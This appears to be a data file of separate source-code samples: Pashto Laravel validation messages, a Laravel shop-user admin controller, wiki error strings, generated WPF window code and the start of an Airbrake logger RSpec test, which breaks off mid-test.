\u0634\u062a\u0648\u0646 \u0646\u0644\u0631\u064a.',\n 'file' => '\u062f :attribute \u062f\u0627 \u0628\u0627\u06cc\u062f \u06cc\u0648\u0647 \u0641\u0627\u06cc\u0644 \u0648\u064a.',\n 'filled' => ':attribute \u0644\u0627\u0632\u0645\u0647 \u062f\u0647.',\n 'gt' => [\n 'array' => '\u0634\u0645\u06cc\u0631\u06d0 \u0627\u0648 \u0645\u062a\u0631\u0647 :attribute \u0644\u0647 \u0632\u06cc\u0627\u062a\u0648 \u0685\u062e\u0647 :value \u0639\u0646\u0627\u0635\u0631/\u0639\u0646\u0635\u0631.',\n 'file' => '\u062f \u062f\u0648\u062a\u0646\u06d0 \u0627\u0646\u062f\u0627\u0632\u0647 \u0628\u0627\u06cc\u062f \u0648\u064a:attribute \u067e\u0647 \u067e\u0631\u062a\u0644\u0647 \u0689\u06cc\u0631 :value \u0643\u064a\u0644\u0648\u0628\u0627\u064a\u062a.',\n 'numeric' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u0627\u0631\u0632\u069a\u062a \u0648\u064a :attribute \u067e\u0647 \u067e\u0631\u062a\u0644\u0647 \u0689\u06cc\u0631 :value.',\n 'string' => '\u062f \u0645\u062a\u0646 \u0627\u0648\u0696\u062f\u0648\u0627\u0644\u06cc \u0628\u0627\u06cc\u062f \u0648\u064a :attribute \u0685\u062e\u0647 \u0632\u06cc\u0627\u062a :value \u062a\u0648\u0631\u064a/\u062a\u0648\u0631\u064a.',\n ],\n 'gte' => [\n 'array' => '\u0634\u0645\u06cc\u0631\u06d0 \u0627\u0648 \u0645\u062a\u0631\u0647 :attribute \u0644\u0696 \u062a\u0631 \u0644\u0696\u0647 :value \u0639\u0646\u0635\u0631 / \u0639\u0646\u0627\u0635\u0631.',\n 'file' => '\u062f \u062f\u0648\u062a\u0646\u06d0 \u0627\u0646\u062f\u0627\u0632\u0647 \u0628\u0627\u06cc\u062f \u0648\u064a:attribute \u0644\u0696\u062a\u0631\u0644\u0696\u0647 :value \u0643\u064a\u0644\u0648\u0628\u0627\u064a\u062a.',\n 'numeric' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u0627\u0631\u0632\u069a\u062a \u0648\u064a :attribute \u0645\u0633\u0627\u0648\u06cc \u06cc\u0627 \u0632\u06cc\u0627\u062a :value.',\n 'string' => '\u062f \u0645\u062a\u0646 \u0627\u0648\u0696\u062f\u0648\u0627\u0644\u06cc \u0628\u0627\u06cc\u062f \u0648\u064a :attribute \u0644\u0696\u062a\u0631\u0644\u0696\u0647 :value \u062a\u0648\u0631\u064a/\u062a\u0648\u0631\u064a.',\n ],\n 'image' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u0648\u064a :attribute \u0627\u0646\u0681\u0648\u0631.',\n 'in' => ':attribute \u063a\u064a\u0631 \u0645\u0648\u062c\u0648\u062f.',\n 'in_array' => ':attribute \u063a\u064a\u0631 \u0645\u0648\u062c\u0648\u062f \u0641\u064a :other.',\n 'integer' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u0648\u064a:attribute \u0647\u0648 \u0639\u062f\u062f \u0635\u062d\u064a\u062d.',\n 'ip' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u0648\u064a:attribute \u0639\u0646\u0648\u0627\u0646 IP \u0631\u06cc\u069a\u062a\u06cc\u0627.',\n 'ipv4' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u0648\u064a:attribute \u0639\u0646\u0648\u0627\u0646 IPv4 \u0631\u06cc\u069a\u062a\u06cc\u0627.',\n 'ipv6' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u0648\u064a:attribute \u0639\u0646\u0648\u0627\u0646 IPv6 \u0631\u06cc\u069a\u062a\u06cc\u0627.',\n 'json' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u0648\u064a:attribute \u062f \u0627\u0648\u0631\u06cc\u062f\u0644\u0648 \u0689\u0648\u0644 JSON.',\n 'lt' => [\n 'array' => '\u0634\u0645\u06cc\u0631\u06d0 \u0627\u0648 \u0645\u062a\u0631\u0647 :attribute \u0644\u0647 \u06a9\u0645 \u0685\u062e\u0647 :value \u0639\u0646\u0627\u0635\u0631/\u0639\u0646\u0635\u0631.',\n 'file' => '\u062f \u062f\u0648\u062a\u0646\u06d0 \u0627\u0646\u062f\u0627\u0632\u0647 \u0628\u0627\u06cc\u062f \u0648\u064a:attribute \u0644\u0696 :value \u0643\u064a\u0644\u0648\u0628\u0627\u064a\u062a.',\n 'numeric' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u0627\u0631\u0632\u069a\u062a \u0648\u064a :attribute \u0644\u0696 :value.',\n 'string' => '\u062f \u0645\u062a\u0646 \u0627\u0648\u0696\u062f\u0648\u0627\u0644\u06cc \u0628\u0627\u06cc\u062f \u0648\u064a :attribute \u0644\u0647 \u06a9\u0645 \u0685\u062e\u0647 :value \u062a\u0648\u0631\u064a/\u062a\u0648\u0631\u064a.',\n ],\n 'lte' => [\n 'array' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u0634\u0627\u0645\u0644 \u0646\u0647 \u0648\u064a :attribute \u0644\u0647 \u0632\u06cc\u0627\u062a\u0648 \u0685\u062e\u0647 :value \u0639\u0646\u0627\u0635\u0631/\u0639\u0646\u0635\u0631.',\n 'file' => '\u062f \u062f\u0648\u062a\u0646\u06d0 \u0627\u0646\u062f\u0627\u0632\u0647 \u0628\u0627\u06cc\u062f \u0644\u0647 \u062d\u062f \u0646\u0647 \u0632\u06cc\u0627\u062a\u0647 \u0646\u0647 \u0648\u064a :attribute :value \u0643\u064a\u0644\u0648\u0628\u0627\u064a\u062a.',\n 'numeric' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u0627\u0631\u0632\u069a\u062a \u0648\u064a :attribute \u0646\u0633\u0628\u062a \u0628\u0631\u0627\u0628\u0631 \u06cc\u0627 \u06a9\u0648\u0686\u0646\u06cc :value.',\n 'string' => '\u062f \u0645\u062a\u0646 \u0627\u0648\u0696\u062f\u0648\u0627\u0644\u06cc \u0628\u0627\u06cc\u062f \u0644\u0647 \u0632\u06cc\u0627\u062a\u0648\u0627\u0644\u06cc \u0646\u0647 \u0648\u064a:attribute :value \u062a\u0648\u0631\u064a/\u062a\u0648\u0631\u064a.',\n ],\n 'mac_address' => 'The :attribute must be a valid MAC address.',\n 'max' => [\n 'array' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u0634\u0627\u0645\u0644 \u0646\u0647 \u0648\u064a :attribute \u0644\u0647 \u0632\u06cc\u0627\u062a\u0648 \u0685\u062e\u0647 :max \u0639\u0646\u0627\u0635\u0631/\u0639\u0646\u0635\u0631.',\n 'file' => '\u062f \u062f\u0648\u062a\u0646\u06d0 \u0627\u0646\u062f\u0627\u0632\u0647 \u0628\u0627\u06cc\u062f \u0644\u0647 \u062d\u062f \u0646\u0647 \u0632\u06cc\u0627\u062a\u0647 \u0648\u064a :attribute :max \u0643\u064a\u0644\u0648\u0628\u0627\u064a\u062a.',\n 'numeric' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u0627\u0631\u0632\u069a\u062a \u0648\u064a :attribute \u0646\u0633\u0628\u062a \u0628\u0631\u0627\u0628\u0631 \u06cc\u0627 \u06a9\u0648\u0686\u0646\u06cc :max.',\n 'string' => '\u062f \u0645\u062a\u0646 \u0627\u0648\u0696\u062f\u0648\u0627\u0644\u06cc \u0628\u0627\u06cc\u062f \u0644\u0647 \u0632\u06cc\u0627\u062a\u0648\u0627\u0644\u06cc \u0646\u0647 \u0648\u064a:attribute :max \u062a\u0648\u0631\u064a/\u062a\u0648\u0631\u064a.',\n ],\n 'mimes' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u062f \u0689\u0648\u0644 \u062f\u0648\u0633\u06cc\u0647 \u0648\u064a : :values.',\n 'mimetypes' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u06cc\u0648\u0647 \u0641\u0627\u06cc\u0644 \u0648\u064a: :values.',\n 'min' => [\n 'array' => '\u0634\u0645\u06cc\u0631\u06d0 \u0627\u0648 \u0645\u062a\u0631\u0647 :attribute \u0644\u0696 \u062a\u0631 \u0644\u0696\u0647 :min \u0639\u0646\u0635\u0631 / \u0639\u0646\u0627\u0635\u0631.',\n 'file' => '\u062f \u062f\u0648\u062a\u0646\u06d0 \u0627\u0646\u062f\u0627\u0632\u0647 \u0628\u0627\u06cc\u062f \u0648\u064a:attribute \u0644\u0696\u062a\u0631\u0644\u0696\u0647 :min \u0643\u064a\u0644\u0648\u0628\u0627\u064a\u062a.',\n 'numeric' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u0627\u0631\u0632\u069a\u062a \u0648\u064a :attribute \u0645\u0633\u0627\u0648\u06cc \u06cc\u0627 \u0632\u06cc\u0627\u062a :min.',\n 'string' => '\u062f \u0645\u062a\u0646 \u0627\u0648\u0696\u062f\u0648\u0627\u0644\u06cc \u0628\u0627\u06cc\u062f \u0648\u064a :attribute \u0644\u0696\u062a\u0631\u0644\u0696\u0647 :min \u062a\u0648\u0631\u064a/\u062a\u0648\u0631\u064a.',\n ],\n 'multiple_of' => 'The :attribute must be a multiple of :value.',\n 'not_in' => ':attribute \u0645\u0648\u062c\u0648\u062f.',\n 'not_regex' => '\u0641\u0648\u0631\u0645\u0648\u0644 :attribute \u063a\u0644\u0637.',\n 'numeric' => '\u0628\u0627\u06cc\u062f:attribute \u06cc\u0648 \u0634\u0645\u06d0\u0631\u0647.',\n 'password' => 'The password is incorrect.',\n 'present' => '\u0628\u0627\u06cc\u062f \u0686\u0645\u062a\u0648 \u0634\u06cc :attribute.',\n 'prohibited' => 'The :attribute field is prohibited.',\n 'prohibited_if' => 'The :attribute field is prohibited when :other is :value.',\n 'prohibited_unless' => 'The :attribute field is prohibited unless :other is in :values.',\n 'prohibits' => 'The :attribute field prohibits :other from being present.',\n 'regex' => '\u0641\u0648\u0631\u0645\u0648\u0644 :attribute .\u063a\u064a\u0631 \u0635\u062d\u064a\u062d.',\n 'required' => ':attribute \u0627\u0693\u06cc\u0646\u0647 \u062f\u0647.',\n 'required_array_keys' => 'The :attribute field must contain entries for: :values.',\n 'required_if' => ':attribute \u06a9\u0647 \u0686\u06cc\u0631\u06d0 \u062f \u0627\u0693\u062a\u06cc\u0627 \u067e\u0647 \u0635\u0648\u0631\u062a \u06a9\u06d0 \u0627\u0693\u062a\u06cc\u0627 \u0648\u064a:other \u0645\u0633\u0627\u0648 :value.',\n 'required_unless' => ':attribute \u06a9\u0647 \u0646\u0647 :other \u0645\u0633\u0627\u0648 :values.',\n 'required_with' => ':attribute \u06a9\u0647 \u0627\u0693\u062a\u06cc\u0627 \u0648\u064a \u0634\u062a\u0648\u0646 \u0644\u0631\u064a :values.',\n 'required_with_all' => ':attribute \u06a9\u0647 \u0627\u0693\u062a\u06cc\u0627 \u0648\u064a \u0634\u062a\u0648\u0646 \u0644\u0631\u064a :values.',\n 'required_without' => ':attribute \u062f \u0627\u0693\u062a\u06cc\u0627 \u067e\u0631\u062a\u0647 :values.',\n 'required_without_all' => ':attribute \u06a9\u0647 \u0627\u0693\u062a\u06cc\u0627 \u0634\u062a\u0648\u0646 \u0646\u0644\u0631\u064a :values.',\n 'same' => '\u0627\u0693\u06cc\u0646\u0647 \u062f\u0647 :attribute \u0633\u0631\u0647 :other.',\n 'size' => [\n 'array' => '\u0634\u0645\u06cc\u0631\u06d0 \u0627\u0648 \u0645\u062a\u0631\u0647 :attribute \u067e\u0647 :size \u0639\u0646\u0635\u0631/\u0639\u0646\u0627\u0635\u0631 \u067e\u0647 \u0633\u0645\u0647 \u062a\u0648\u06ab\u0647.',\n 'file' => '\u062f \u062f\u0648\u062a\u0646\u06d0 \u0627\u0646\u062f\u0627\u0632\u0647 \u0628\u0627\u06cc\u062f \u0648\u064a:attribute :size \u0643\u064a\u0644\u0648\u0628\u0627\u064a\u062a.',\n 'numeric' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u0627\u0631\u0632\u069a\u062a \u0648\u064a :attribute \u0633\u0631\u0647 \u0628\u0631\u0627\u0628\u0631 :size.',\n 'string' => '\u0634\u0645\u06cc\u0631\u06d0 \u0627\u0648 \u0645\u062a\u0631\u0647 \u0645\u062a\u0646 :attribute \u067e\u0647 :size \u062a\u0648\u0631\u064a/\u062a\u0648\u0631\u064a \u067e\u0647 \u0633\u0645\u0647 \u062a\u0648\u06ab\u0647.',\n ],\n 'starts_with' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u067e\u06cc\u0644 \u0634\u064a :attribute \u062f \u0644\u0627\u0646\u062f\u06d0 \u0627\u0631\u0632\u069a\u062a\u0648\u0646\u0648 \u0685\u062e\u0647 \u06cc\u0648: :values',\n 'string' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u0648\u064a:attribute \u0645\u062a\u0646.',\n 'timezone' => '\u062f\u0627 \u0628\u0627\u06cc\u062f \u0648\u064a:attribute \u06cc\u0648 \u0628\u0627\u0648\u0631\u064a \u0646\u06cc\u067c\u0647.',\n 'unique' => '\u0627\u0631\u0632\u069a\u062a\u0648\u0646\u0647 :attribute \u06a9\u0627\u0631\u0648\u0644 \u0634\u0648\u06cc.',\n 'uploaded' => '\u062f \u067e\u0648\u0631\u062a\u0647 \u06a9\u0648\u0644\u0648 \u062a\u0648\u0627\u0646 \u0646\u0644\u0631\u064a :attribute.',\n 'url' => '\u062f \u0644\u06cc\u0646\u06a9 \u0628\u06bc\u0647 :attribute \u063a\u0644\u0637.',\n 'uuid' => ':attribute \u062f\u0627 \u0628\u0627\u06cc\u062f \u063a\u06cc\u0631 \u0631\u0633\u0645\u064a \u0648\u064a UUID \u063a\u0696.',\n 'custom' => [\n 'attribute-name' => [\n 'rule-name' => 'custom-message',\n ],\n ],\n];\n", "validate($request,[\n 'name'=>'required|max:20|unique:shop_users',\n 'email'=>'required|email|unique:shop_users',\n 'password' => 'required|min:6|confirmed',\n 'password_confirmation' => 'required|min:6',\n 'shop_id'=>'required',\n 'captcha' => 'required|captcha',\n ],[\n 'name.required'=>'\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a',\n 'name.max'=>'\u540d\u79f0\u957f\u5ea6\u4e0d\u80fd\u5927\u4e8e20\u4f4d',\n 'name.unique'=>'\u8be5\u540d\u79f0\u5df2\u5b58\u5728',\n 'email.required'=>'\u90ae\u7bb1\u4e0d\u80fd\u4e3a\u7a7a',\n 'email.email'=>'\u90ae\u7bb1\u683c\u5f0f\u9519\u8bef',\n 'email.unique'=>'\u8be5\u90ae\u7bb1\u5df2\u5b58\u5728',\n 'password.required'=>'\u5bc6\u7801\u5fc5\u987b\u586b\u5199',\n 'password.min'=>'\u5bc6\u7801\u957f\u5ea6\u4e0d\u80fd\u5c0f\u4e8e6\u4f4d',\n 'password_confirmation.required'=>'\u8bf7\u786e\u8ba4\u5bc6\u7801',\n 'password.confirmed'=>'\u4e24\u6b21\u8f93\u5165\u5bc6\u7801\u4e0d\u4e00\u81f4',\n 'shop_id.required'=>'\u6240\u5c5e\u5546\u6237\u5fc5\u987b\u9009\u62e9',\n 'captcha.required' => '\u8bf7\u586b\u5199\u9a8c\u8bc1\u7801',\n 'captcha.captcha' => '\u9a8c\u8bc1\u7801\u9519\u8bef',\n ]);\n if (!$request->status){\n $request->status =0;\n }\n //\u5bc6\u7801\u52a0\u5bc6\n $model = ShopUser::create([\n 'name'=>$request->name,\n 'email'=>$request->email,\n 'password'=>bcrypt($request->password),\n 'status'=>1,\n 'shop_id'=>$request->shop_id\n ]);\n return redirect()->route('shopusers.index')->with('success','\u6dfb\u52a0\u6210\u529f');\n }\n\n public function show(Shopuser $shopuser,Request $request)\n {\n $shops = Shop::all();\n return view('shopuser/show',compact('shopuser','shops'));\n }\n\n public function edit(Shopuser $shopuser)\n {\n //dd($shopuser);\n $shops = Shop::all();\n return view('shopuser/edit',['shopuser'=>$shopuser,'shops'=>$shops]);\n }\n\n public function update(Shopuser $shopuser,Request $request)\n {\n //\u6570\u636e\u9a8c\u8bc1\n $this->validate($request,[\n 'name'=>[\n 'required',\n 'max:20',\n Rule::unique('shop_users')->ignore($shopuser->id),\n\n ],\n 'email'=>[\n 'required',\n 'string',\n 'email',\n Rule::unique('shop_users')->ignore($shopuser->id),\n ],\n 'shop_id'=>'required',\n 'captcha' => 'required|captcha',\n ],[\n 'name.required'=>'\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a',\n 'name.max'=>'\u540d\u79f0\u957f\u5ea6\u4e0d\u80fd\u5927\u4e8e20\u4f4d',\n 'name.unique'=>'\u8be5\u540d\u79f0\u5df2\u5b58\u5728',\n 'email.required'=>'\u90ae\u7bb1\u4e0d\u80fd\u4e3a\u7a7a',\n 'email.email'=>'\u90ae\u7bb1\u683c\u5f0f\u9519\u8bef',\n 'email.unique'=>'\u8be5\u90ae\u7bb1\u5df2\u5b58\u5728',\n 'password_confirmation.required'=>'\u8bf7\u786e\u8ba4\u5bc6\u7801',\n 'password.confirmed'=>'\u4e24\u6b21\u8f93\u5165\u5bc6\u7801\u4e0d\u4e00\u81f4',\n 'shop_id.required'=>'\u6240\u5c5e\u5546\u6237\u5fc5\u987b\u9009\u62e9',\n 'captcha.required' => '\u8bf7\u586b\u5199\u9a8c\u8bc1\u7801',\n 'captcha.captcha' => '\u9a8c\u8bc1\u7801\u9519\u8bef',\n ]);\n if (!$request->status){\n $request->status =0;\n }\n $shopuser->update([\n 'name'=>$request->name,\n 'email'=>$request->email,\n 'status'=>$request->status,\n 'shop_id'=>$request->shop_id\n ]);\n return redirect()->route('shopusers.index')->with('success','\u66f4\u65b0\u6210\u529f');\n }\n\n public function destroy(Shopuser $shopuser)\n {\n $shopuser->delete();\n return redirect()->route('shopusers.index')->with('success','\u5220\u9664\u6210\u529f');\n }\n\n public function status(Shopuser $shopuser)\n {\n $shopuser->update([\n 'status'=>1,\n ]);\n return redirect()->route('shopusers.index')->with('success','\u8d26\u53f7\u5df2\u542f\u7528');\n }\n\n public function reset(Shopuser $shopuser)\n {\n return view('shopuser/reset',compact('shopuser'));\n }\n\n public function resetSave(Shopuser $shopuser,Request $request)\n {\n $request->validate([\n 'password'=>'required|confirmed',\n 'captcha' => 'required|captcha',\n ],[\n 'password.required'=>'\u8bf7\u8bbe\u7f6e\u65b0\u5bc6\u7801',\n 'password.confirmed'=>'\u4e24\u6b21\u5bc6\u7801\u8f93\u5165\u4e0d\u4e00\u81f4,\u8bf7\u91cd\u65b0\u8f93\u5165',\n 'captcha.required' => '\u8bf7\u586b\u5199\u9a8c\u8bc1\u7801',\n 'captcha.captcha' => '\u9a8c\u8bc1\u7801\u9519\u8bef',\n ]);\n DB::table('shop_users')\n ->where('id',$request->id)\n ->update([\n 'password' => bcrypt($request->password),\n ]);\n return redirect()->route('shopusers.index')->with('success','\u91cd\u7f6e\u5bc6\u7801\u6210\u529f');\n }\n}\n", " 'You do not have permission to access the requested page.',\n 'permissionJson' => 'You do not have permission to perform the requested action.',\n\n // Auth\n 'error_user_exists_different_creds' => 'A user with the email :email already exists but with different credentials.',\n 'email_already_confirmed' => 'Email has already been confirmed, Try logging in.',\n 'email_confirmation_invalid' => 'This confirmation token is not valid or has already been used, Please try registering again.',\n 'email_confirmation_expired' => 'The confirmation token has expired, A new confirmation email has been sent.',\n 'email_confirmation_awaiting' => 'The email address for the account in use needs to be confirmed',\n 'ldap_fail_anonymous' => 'LDAP access failed using anonymous bind',\n 'ldap_fail_authed' => 'LDAP access failed using given dn & password details',\n 'ldap_extension_not_installed' => 'LDAP PHP extension not installed',\n 'ldap_cannot_connect' => 'Cannot connect to ldap server, Initial connection failed',\n 'saml_already_logged_in' => 'Already logged in',\n 'saml_user_not_registered' => 'The user :name is not registered and automatic registration is disabled',\n 'saml_no_email_address' => 'Could not find an email address, for this user, in the data provided by the external authentication system',\n 'saml_invalid_response_id' => 'The request from the external authentication system is not recognised by a process started by this application. Navigating back after a login could cause this issue.',\n 'saml_fail_authed' => 'Login using :system failed, system did not provide successful authorization',\n 'social_no_action_defined' => 'No action defined',\n 'social_login_bad_response' => \"Error received during :socialAccount login: \\n:error\",\n 'social_account_in_use' => 'This :socialAccount account is already in use, Try logging in via the :socialAccount option.',\n 'social_account_email_in_use' => 'The email :email is already in use. If you already have an account you can connect your :socialAccount account from your profile settings.',\n 'social_account_existing' => 'This :socialAccount is already attached to your profile.',\n 'social_account_already_used_existing' => 'This :socialAccount account is already used by another user.',\n 'social_account_not_used' => 'This :socialAccount account is not linked to any users. Please attach it in your profile settings. ',\n 'social_account_register_instructions' => 'If you do not yet have an account, You can register an account using the :socialAccount option.',\n 'social_driver_not_found' => 'Social driver not found',\n 'social_driver_not_configured' => 'Your :socialAccount social settings are not configured correctly.',\n 'invite_token_expired' => 'This invitation link has expired. You can instead try to reset your account password.',\n\n // System\n 'path_not_writable' => 'File path :filePath could not be uploaded to. Ensure it is writable to the server.',\n 'cannot_get_image_from_url' => 'Cannot get image from :url',\n 'cannot_create_thumbs' => 'The server cannot create thumbnails. Please check you have the GD PHP extension installed.',\n 'server_upload_limit' => 'The server does not allow uploads of this size. Please try a smaller file size.',\n 'uploaded' => 'The server does not allow uploads of this size. Please try a smaller file size.',\n 'image_upload_error' => 'An error occurred uploading the image',\n 'image_upload_type_error' => 'The image type being uploaded is invalid',\n 'file_upload_timeout' => 'The file upload has timed out.',\n\n // Attachments\n 'attachment_not_found' => 'Attachment not found',\n\n // Pages\n 'page_draft_autosave_fail' => 'Failed to save draft. Ensure you have internet connection before saving this page',\n 'page_custom_home_deletion' => 'Cannot delete a page while it is set as a homepage',\n\n // Entities\n 'entity_not_found' => 'Entity not found',\n 'bookshelf_not_found' => 'Bookshelf not found',\n 'book_not_found' => 'Book not found',\n 'page_not_found' => 'Page not found',\n 'chapter_not_found' => 'Chapter not found',\n 'selected_book_not_found' => 'The selected book was not found',\n 'selected_book_chapter_not_found' => 'The selected Book or Chapter was not found',\n 'guests_cannot_save_drafts' => 'Guests cannot save drafts',\n\n // Users\n 'users_cannot_delete_only_admin' => 'You cannot delete the only admin',\n 'users_cannot_delete_guest' => 'You cannot delete the guest user',\n\n // Roles\n 'role_cannot_be_edited' => 'This role cannot be edited',\n 'role_system_cannot_be_deleted' => 'This role is a system role and cannot be deleted',\n 'role_registration_default_cannot_delete' => 'This role cannot be deleted while set as the default registration role',\n 'role_cannot_remove_only_admin' => 'This user is the only user assigned to the administrator role. Assign the administrator role to another user before attempting to remove it here.',\n\n // Comments\n 'comment_list' => 'An error occurred while fetching the comments.',\n 'cannot_add_comment_to_draft' => 'You cannot add comments to a draft.',\n 'comment_add' => 'An error occurred while adding / updating the comment.',\n 'comment_delete' => 'An error occurred while deleting the comment.',\n 'empty_comment' => 'Cannot add an empty comment.',\n\n // Error pages\n '404_page_not_found' => 'Page Not Found',\n 'sorry_page_not_found' => 'Sorry, The page you were looking for could not be found.',\n 'sorry_page_not_found_permission_warning' => 'If you expected this page to exist, you might not have permission to view it.',\n 'return_home' => 'Return to home',\n 'error_occurred' => 'An Error Occurred',\n 'app_down' => ':appName is down right now',\n 'back_soon' => 'It will be back up soon.',\n\n // API errors\n 'api_no_authorization_found' => 'No authorization token found on the request',\n 'api_bad_authorization_format' => 'An authorization token was found on the request but the format appeared incorrect',\n 'api_user_token_not_found' => 'No matching API token was found for the provided authorization token',\n 'api_incorrect_token_secret' => 'The secret provided for the given used API token is incorrect',\n 'api_user_no_api_permission' => 'The owner of the used API token does not have permission to make API calls',\n 'api_user_token_expired' => 'The authorization token used has expired',\n\n // Settings & Maintenance\n 'maintenance_test_email_failure' => 'Error thrown when sending a test email:',\n\n];\n", "\ufeff#pragma checksum \"..\\..\\..\\MainWindow.xaml\" \"{8829d00f-11b8-4213-878b-770e8597ac16}\" \"573B5D11E0DDAD4FEC58863ED87D9CFC6214A2B250AB3DAAC84C18AE1D2ADEFF\"\n//------------------------------------------------------------------------------\n// \n// This code was generated by a tool.\n// Runtime Version:4.0.30319.42000\n//\n// Changes to this file may cause incorrect behavior and will be lost if\n// the code is regenerated.\n// \n//------------------------------------------------------------------------------\n\nusing System;\nusing System.Diagnostics;\nusing System.Windows;\nusing System.Windows.Automation;\nusing System.Windows.Controls;\nusing System.Windows.Controls.Primitives;\nusing System.Windows.Data;\nusing System.Windows.Documents;\nusing System.Windows.Ink;\nusing System.Windows.Input;\nusing System.Windows.Markup;\nusing System.Windows.Media;\nusing System.Windows.Media.Animation;\nusing System.Windows.Media.Effects;\nusing System.Windows.Media.Imaging;\nusing System.Windows.Media.Media3D;\nusing System.Windows.Media.TextFormatting;\nusing System.Windows.Navigation;\nusing System.Windows.Shapes;\nusing System.Windows.Shell;\nusing body_tracking;\n\n\nnamespace body_tracking {\n \n \n /// \n /// MainWindow\n /// \n public partial class MainWindow : System.Windows.Window, System.Windows.Markup.IComponentConnector {\n \n \n #line 17 \"..\\..\\..\\MainWindow.xaml\"\n [System.Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"Microsoft.Performance\", \"CA1823:AvoidUnusedPrivateFields\")]\n internal System.Windows.Controls.TextBlock Serial;\n \n #line default\n #line hidden\n \n \n #line 19 \"..\\..\\..\\MainWindow.xaml\"\n [System.Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"Microsoft.Performance\", \"CA1823:AvoidUnusedPrivateFields\")]\n internal System.Windows.Controls.Image FrameDisplayImage;\n \n #line default\n #line hidden\n \n private bool _contentLoaded;\n \n /// \n /// InitializeComponent\n /// \n [System.Diagnostics.DebuggerNonUserCodeAttribute()]\n [System.CodeDom.Compiler.GeneratedCodeAttribute(\"PresentationBuildTasks\", \"4.0.0.0\")]\n public void InitializeComponent() {\n if (_contentLoaded) {\n return;\n }\n _contentLoaded = true;\n System.Uri resourceLocater = new System.Uri(\"/body_tracking;component/mainwindow.xaml\", System.UriKind.Relative);\n \n #line 1 \"..\\..\\..\\MainWindow.xaml\"\n System.Windows.Application.LoadComponent(this, resourceLocater);\n \n #line default\n #line hidden\n }\n \n [System.Diagnostics.DebuggerNonUserCodeAttribute()]\n [System.CodeDom.Compiler.GeneratedCodeAttribute(\"PresentationBuildTasks\", \"4.0.0.0\")]\n [System.ComponentModel.EditorBrowsableAttribute(System.ComponentModel.EditorBrowsableState.Never)]\n [System.Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"Microsoft.Design\", \"CA1033:InterfaceMethodsShouldBeCallableByChildTypes\")]\n [System.Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"Microsoft.Maintainability\", \"CA1502:AvoidExcessiveComplexity\")]\n [System.Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"Microsoft.Performance\", \"CA1800:DoNotCastUnnecessarily\")]\n void System.Windows.Markup.IComponentConnector.Connect(int connectionId, object target) {\n switch (connectionId)\n {\n case 1:\n this.Serial = ((System.Windows.Controls.TextBlock)(target));\n return;\n case 2:\n this.FrameDisplayImage = ((System.Windows.Controls.Image)(target));\n return;\n case 3:\n \n #line 21 \"..\\..\\..\\MainWindow.xaml\"\n ((System.Windows.Controls.Button)(target)).Click += new System.Windows.RoutedEventHandler(this.Button_Infrared);\n \n #line default\n #line hidden\n return;\n case 4:\n \n #line 22 \"..\\..\\..\\MainWindow.xaml\"\n ((System.Windows.Controls.Button)(target)).Click += new System.Windows.RoutedEventHandler(this.Button_Color);\n \n #line default\n #line hidden\n return;\n case 5:\n \n #line 23 \"..\\..\\..\\MainWindow.xaml\"\n ((System.Windows.Controls.Button)(target)).Click += new System.Windows.RoutedEventHandler(this.Button_Depth);\n \n #line default\n #line hidden\n return;\n case 6:\n \n #line 24 \"..\\..\\..\\MainWindow.xaml\"\n ((System.Windows.Controls.Button)(target)).Click += new System.Windows.RoutedEventHandler(this.Button_Body);\n \n #line default\n #line hidden\n return;\n }\n this._contentLoaded = true;\n }\n }\n}\n\n", "require 'spec_helper'\n\nRSpec.describe Airbrake::AirbrakeLogger do\n let(:project_id) { 113743 }\n let(:project_key) { 'fd04e13d806a90f96614ad8e529b2822' }\n\n let(:endpoint) do\n \"https://airbrake.io/api/v3/projects/#{project_id}/notices?key=#{project_key}\"\n end\n\n let(:airbrake) do\n Airbrake::Notifier.new(project_id: project_id, project_key: project_key)\n end\n\n let(:logger) { Logger.new('/dev/null') }\n\n subject { described_class.new(logger) }\n\n def wait_for_a_request_with_body(body)\n wait_for(a_request(:post, endpoint).with(body: body)).to have_been_made.once\n end\n\n before do\n stub_request(:post, endpoint).to_return(status: 201, body: '{}')\n end\n\n describe \"#airbrake_notifier\" do\n it \"has the default notifier installed by default\" do\n expect(subject.airbrake_notifier).to be_an(Airbrake::Notifier)\n end\n\n it \"installs Airbrake notifier\" do\n notifier_id = airbrake.object_id\n expect(subject.airbrake_notifier.object_id).not_to eq(notifier_id)\n\n subject.airbrake_notifier = airbrake\n expect(subject.airbrake_notifier.object_id).to eq(notifier_id)\n end\n\n context \"when Airbrake is installed explicitly\" do\n let(:out) { StringIO.new }\n let(:logger) { Logger.new(out) }\n\n before do\n subject.airbrake_notifier = airbrake\n end\n\n it \"both logs and notifies\" do\n msg = 'bingo'\n subject.fatal(msg)\n\n wait_for_a_request_with_body(/\"message\":\"#{msg}\"/)\n expect(out.string).to match(/FATAL -- : #{msg}/)\n end\n\n it \"sets the correct severity\" do\n subject.fatal('bango')\n wait_for_a_request_with_body(/\"context\":{.*\"severity\":\"critical\".*}/)\n end\n\n it \"sets the correct component\" do\n subject.fatal('bingo')\n wait_for_a_request_with_body(/\"component\":\"log\"/)\n end\n\n it \"strips out internal logger frames\" do\n subject.fatal('bongo')\n\n wait_for(\n a_request(:post, endpoint).\n with(body: %r{\"file\":\".+/logger.rb\"})\n ).not_to 